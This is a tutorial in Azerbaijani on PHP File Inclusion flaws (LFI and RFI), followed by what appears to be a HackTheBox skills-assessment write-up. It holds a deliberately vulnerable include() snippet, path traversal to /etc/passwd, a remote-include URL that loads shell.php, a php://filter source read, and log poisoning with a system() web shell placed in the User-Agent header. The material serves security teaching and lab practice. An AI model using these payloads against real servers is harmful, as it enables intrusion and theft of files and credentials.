İnternetin pərdəarxasında işləyən minlərlə skript, fayl və modul veb tətbiqlərin düzgün işləməsi üçün bir-birinə bağlıdır. İstifadəçi bir düyməni kliklədikdə və ya bir səhifəyə daxil olduqda, server pərdəarxasında həmin əməliyyatı yerinə yetirmək üçün çoxsaylı faylları yükləyir. Bu proses bəzən include və ya require funksiyaları vasitəsilə həyata keçirilir. Məhz bu məqamda, əgər ehtiyat tədbirləri görülməzsə, təhlükəli bir zəiflik ortaya çıxır — File Inclusion.
File Inclusion nədir?
File Inclusion (Fayl daxil etmə zəifliyi) veb tətbiqin istifadəçi tərəfindən göndərilən məlumatı yoxlamadan fayl yolu kimi işlətməsi nəticəsində yaranır. Başqa sözlə, tətbiq, yüklənəcək və icra olunacaq faylın adını və ya yolunu birbaşa istifadəçidən alır.
Əgər bu nəzarətsiz şəkildə baş verirsə, hücumçu:
1.Serverin içindəki digər faylları oxuya bilər
2.Sistem konfiqurasiyalarını ələ keçirə bilər
3.Hətta uzaqdan kod icrasına nail ola bilər
File Inclusion növləri
Bu zəiflik əsasən iki böyük kateqoriyaya bölünür:
1. Local File Inclusion (LFI)
Lokal Fayl Daxil Etmə — hücumçu serverdə artıq mövcud olan faylları yükləyir. Məsələn, belə bir PHP kodunu nəzərdən keçirək:
<?php
$page = $_GET['page'];
include($page);
?>
İstifadəçi bu URL-i daxil etsə:
http://example.com/index.php?page=about.php
server about.php
faylını yükləyəcək. Amma eyni üsulla:
http://example.com/index.php?page=../../etc/passwd
yazılarsa, Linux sistemindəki passwd
faylını oxumaq mümkün olacaq.
2. Remote File Inclusion (RFI)
Uzaqdan Fayl Daxil Etmə — server, internet üzərindən başqa bir ünvanın faylını yükləyir və icra edir. Məsələn:
http://example.com/index.php?page=http://anything_website/shell.php
Bu halda server anything_website
saytındakı kodu yükləyir və çalışdırır, nəticədə hücumçu tam idarəetməni ələ keçirə bilər.
File Inclusion necə istismar olunur?
Bu zəifliyin istismarı adətən belə addımlarla olur:
- Fayl yükləmə mexanizmini tapmaq — URL parametrlərində
page=
,file=
,lang=
,template=
kimi açar sözlərə diqqət yetirmək. - Path traversal üsullarından istifadə —
../
ardıcıllığı ilə yuxarı qovluqlara çıxmaq. - Həssas faylları oxumaq —
/etc/passwd
,config.php
,database.yml
və s. - Kod icrası — log fayllarına və ya yüklənmiş fayllara PHP kodu yerləşdirərək serverdə işlətmək.
Skills assessment-HTB
İlk olaraq bizə bir IP ünvan təqdim olundu və tapşırıq uzaqdan kod icrası əldə etmək, daha sonra isə fayl sistemində yerləşən bayrağı tapmaq idi.

Məsələyə yanaşmağımızda ilk addım mövcud endpointlərin müəyyənləşdirilməsi oldu.

Bunun üçün directory listing üsulundan istifadə etdik və nəticədə contact
, index
, about
, industries
və error
endpointlərini aşkar etdik.

Bu proses BurpSuite vasitəsilə də həyata keçirilə bilərdi, lakin biz həm directory listing, həm də BurpSuite metodlarını birlikdə tətbiq edərək daha peşəkar şəkildə daha çox endpoint əldə edə bildik.
Araşdırmalar zamanı php://filter/read=convert.base64-encode/resource=index
üsulundan istifadə edərək index.php
faylını serverdən base64 "bypass" ilə əldə etdik.

Terminalda decode əməliyyatını yerinə yetirdikdə faylın məzmunu açıq şəkildə göründü.

Faylın içində ilf_admin/index.php
hissəsinin mövcud olduğunu gördük və ora daxil olduqda admin səhifəsinə aid log məlumatlarını aşkar etdik.

Bu məlumatlardan istifadə edərək həmin endpointdə LFI (Local File Inclusion) boşluğunu araşdırmaq qərarına gəldik. Bu proses üçün ffuf
alətindən istifadə etdik, çünki o, həm daha sürətli işləyir, həm də daha çox sorğu göndərməyə imkan yaradır.

LFI boşluğunu təsdiqlədikdən sonra serverin nginx
üzərində işlədiyini müşahidə etdik.


Növbəti mərhələdə brauzerdə araşdırma apararaq access.log
fayllarının hansı yolda yerləşdiyini müəyyən etdik.

Burada əsas hədəfimiz User-Agent
sahəsinə <?php system($_GET['cmd']); ?>
kodunu əlavə etmək idi. Beləliklə, access log
faylları LFI vasitəsilə include()
funksiyasına daxil edilərkən kodumuz icra olunurdu.
Kod icrası uğurla əldə edildikdən sonra access log
üzərindən ikinci sorğu göndərərək cmd=ls ../
əmri ilə fayl siyahısını aldıq. Siyahıda bayraq faylını taparaq cat
əmri vasitəsilə oxuduq və tapşırığı uğurla yerinə yetirdik.
